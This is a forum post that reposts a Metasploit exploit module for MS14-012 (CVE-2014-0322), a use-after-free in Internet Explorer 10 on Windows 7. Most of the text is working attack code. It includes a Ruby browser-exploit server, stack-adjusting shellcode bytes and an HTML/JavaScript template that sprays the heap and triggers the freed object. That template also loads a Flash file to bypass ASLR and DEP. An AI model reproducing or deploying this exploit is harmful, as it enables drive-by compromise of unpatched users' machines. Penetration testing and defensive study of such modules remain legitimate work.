MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free

Nytro · April 19, 2014

[h=1]MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free[/h]

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",
      'Description'    => %q{
        This module exploits an use after free condition on Internet Explorer as used in the wild
        on the "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to
        bypass ASLR and finally DEP.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery and Exploit in the wild
          'Jean-Jamil Khalife', # Exploit
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2014-0322' ],
          [ 'MSB', 'MS14-012' ],
          [ 'BID', '65551' ],
          [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],
          [ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]
        ],
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'Space'          => 960,
          'DisableNops'    => true,
          'PrependEncoder' => stack_adjust
        },
      'BrowserRequirements' =>
        {
          :source      => /script|headers/i,
          :os_name     => Msf::OperatingSystems::WINDOWS,
          :os_flavor   => Msf::OperatingSystems::WindowsVersions::SEVEN,
          :ua_name     => Msf::HttpClients::IE,
          :ua_ver      => '10.0',
          :mshtml_build => lambda { |ver| ver.to_i < 16843 },
          :flash       => /^12\./
        },
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'migrate -f',
          'Retries'              => false
        },
      'Targets'        =>
        [
          [ 'Windows 7 SP1 / IE 10 / FP 12', { } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Feb 13 2014",
      'DefaultTarget'  => 0))

  end

  def stack_adjust
    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

    adjust
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" )
    fd = ::File.open( path, "rb" )
    swf = fd.read(fd.stat.size)
    fd.close
    return swf
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end

    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Sending HTML...")
    send_exploit_html(cli, exploit_template(cli, target_info))
  end

  def exploit_template(cli, target_info)

    flash_payload = ""
    get_payload(cli,target_info).unpack("V*").each do |i|
      flash_payload << "0x#{i.to_s(16)},"
    end
    flash_payload.gsub!(/,$/, "")

    html_template = %Q|
    <html>
    <head>
    </head>
    <body>

    <script>

    var g_arr = [];
    var arrLen = 0x250;

    function dword2data(dword)
    {
      var d = Number(dword).toString(16);
      while (d.length < 8)
        d = '0' + d;

      return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
    }

    function eXpl()
    {
      var a=0;

      for (a=0; a < arrLen; a++) {
          g_arr[a] = document.createElement('div');
      }

      var b = dword2data(0x19fffff3);

      while (b.length < 0x360) {
        if (b.length == (0x98 / 2))
        {
          b += dword2data(0x1a000010);
        }
        else if (b.length == (0x94 / 2))
        {
          b += dword2data(0x1a111111);
        }
        else if (b.length == (0x15c / 2))
        {
          b += dword2data(0x42424242);
        }
        else
        {
          b += dword2data(0x19fffff3);
        }
      }

      var d = b.substring(0, ( 0x340 - 2 )/2);

      try{
        this.outerHTML=this.outerHTML
      } catch(e){

      }

      CollectGarbage();

      for (a=0; a < arrLen; a++)
        {
          g_arr[a].title = d.substring(0, d.length);
        }
    }

    function trigger()
    {
        var a = document.getElementsByTagName("script");
        var b = a[0];
        b.onpropertychange = eXpl;
        var c = document.createElement('SELECT');
        c = b.appendChild(c);
    }

    </script>
    <embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10">
    </embed>
    </body>
    </html>
    |

    return html_template, binding()
  end

end

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